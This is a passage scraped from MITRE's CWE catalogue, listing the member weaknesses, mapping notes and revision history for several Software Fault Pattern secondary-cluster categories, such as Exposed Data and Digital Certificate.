HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.410Insufficient Resource Pool
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.430Deployment of Wrong Handler
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.462Duplicate Key in Associative List (Alist)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.463Deletion of Data Structure Sentinel
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.464Addition of Data Structure Sentinel
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.483Incorrect Block Delimitation
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.581Object Model Violation: Just One of Equals and Hashcode Defined
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.595Comparison of Object References Instead of Object Contents
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.618Exposed Unsafe ActiveX Method
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.648Incorrect Use of Privileged APIs
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.670Always-Incorrect Control Flow Implementation
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.696Incorrect Behavior Order
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.697Incorrect Comparison
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.698Execution After Redirect (EAR)
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2018-03-27CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Digital Certificate

Category ID: 948
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.898SFP Primary Cluster: Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.296Improper Following of a Certificate's Chain of Trust
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.297Improper Validation of Certificate with Host Mismatch
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.298Improper Validation of Certificate Expiration
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.299Improper Check for Certificate Revocation
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.593Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.599Missing Validation of OpenSSL Certificate
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Exposed Data

Category ID: 963
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster (SFP23).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.895SFP Primary Cluster: Information Leak
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.5J2EE Misconfiguration: Data Transmission Without Encryption
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.7J2EE Misconfiguration: Missing Custom Error Page
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.8J2EE Misconfiguration: Entity Bean Declared Remote
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.11ASP.NET Misconfiguration: Creating Debug Binary
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.12ASP.NET Misconfiguration: Missing Custom Error Page
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.13ASP.NET Misconfiguration: Password in Configuration File
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.14Compiler Removal of Code to Clear Buffers
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.117Improper Output Neutralization for Logs
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.201Insertion of Sensitive Information Into Sent Data
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.210Self-generated Error Message Containing Sensitive Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.211Externally-Generated Error Message Containing Sensitive Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.212Improper Removal of Sensitive Information Before Storage or Transfer
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.213Exposure of Sensitive Information Due to Incompatible Policies
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.214Invocation of Process Using Visible Sensitive Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.215Insertion of Sensitive Information Into Debugging Code
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.219Storage of File with Sensitive Data Under Web Root
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.220Storage of File With Sensitive Data Under FTP Root
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.226Sensitive Information in Resource Not Removed Before Reuse
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.244Improper Clearing of Heap Memory Before Release ('Heap Inspection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.256Plaintext Storage of a Password
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.257Storing Passwords in a Recoverable Format
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.260Password in Configuration File
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.311Missing Encryption of Sensitive Data
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.313Cleartext Storage in a File or on Disk
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.314Cleartext Storage in the Registry
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.315Cleartext Storage of Sensitive Information in a Cookie
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.316Cleartext Storage of Sensitive Information in Memory
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.317Cleartext Storage of Sensitive Information in GUI
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.318Cleartext Storage of Sensitive Information in Executable
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.319Cleartext Transmission of Sensitive Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.374Passing Mutable Objects to an Untrusted Method
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.375Returning a Mutable Object to an Untrusted Caller
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.402Transmission of Private Resources into a New Sphere ('Resource Leak')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.403Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.433Unparsed Raw Web Content Delivery
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.495Private Data Structure Returned From A Public Method
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.497Exposure of Sensitive System Information to an Unauthorized Control Sphere
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.498Cloneable Class Containing Sensitive Information
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.499Serializable Class Containing Sensitive Data
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.501Trust Boundary Violation
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.523Unprotected Transport of Credentials
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.526Cleartext Storage of Sensitive Information in an Environment Variable
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.527Exposure of Version-Control Repository to an Unauthorized Control Sphere
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.528Exposure of Core Dump File to an Unauthorized Control Sphere
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.529Exposure of Access Control List Files to an Unauthorized Control Sphere
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.530Exposure of Backup File to an Unauthorized Control Sphere
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.532Insertion of Sensitive Information into Log File
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.535Exposure of Information Through Shell Error Message
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.536Servlet Runtime Error Message Containing Sensitive Information
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.537Java Runtime Error Message Containing Sensitive Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.538Insertion of Sensitive Information into Externally-Accessible File or Directory
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.539Use of Persistent Cookies Containing Sensitive Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.540Inclusion of Sensitive Information in Source Code
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.541Inclusion of Sensitive Information in an Include File
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.546Suspicious Comment
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.548Exposure of Information Through Directory Listing
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.550Server-generated Error Message Containing Sensitive Information
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.555J2EE Misconfiguration: Plaintext Password in Configuration File
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.591Sensitive Data Storage in Improperly Locked Memory
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.598Use of GET Request Method With Sensitive Query Strings
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.607Public Static Final Field References Mutable Object
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.612Improper Authorization of Index Containing Sensitive Information
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.615Inclusion of Sensitive Information in Source Code Comments
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.756Missing Custom Error Page
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.767Access to Critical Private Variable via Public Method
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Exposure Temporary File

Category ID: 964
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.895SFP Primary Cluster: Information Leak
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.377Insecure Temporary File
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.378Creation of Temporary File With Insecure Permissions
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.379Creation of Temporary File in Directory with Insecure Permissions
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Failed Chroot Jail

Category ID: 979
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster (SFP17).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.893SFP Primary Cluster: Path Resolution
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.243Creation of chroot Jail Without Changing Working Directory
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Failure to Release Resource

Category ID: 982
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster (SFP14).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.892SFP Primary Cluster: Resource Management
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
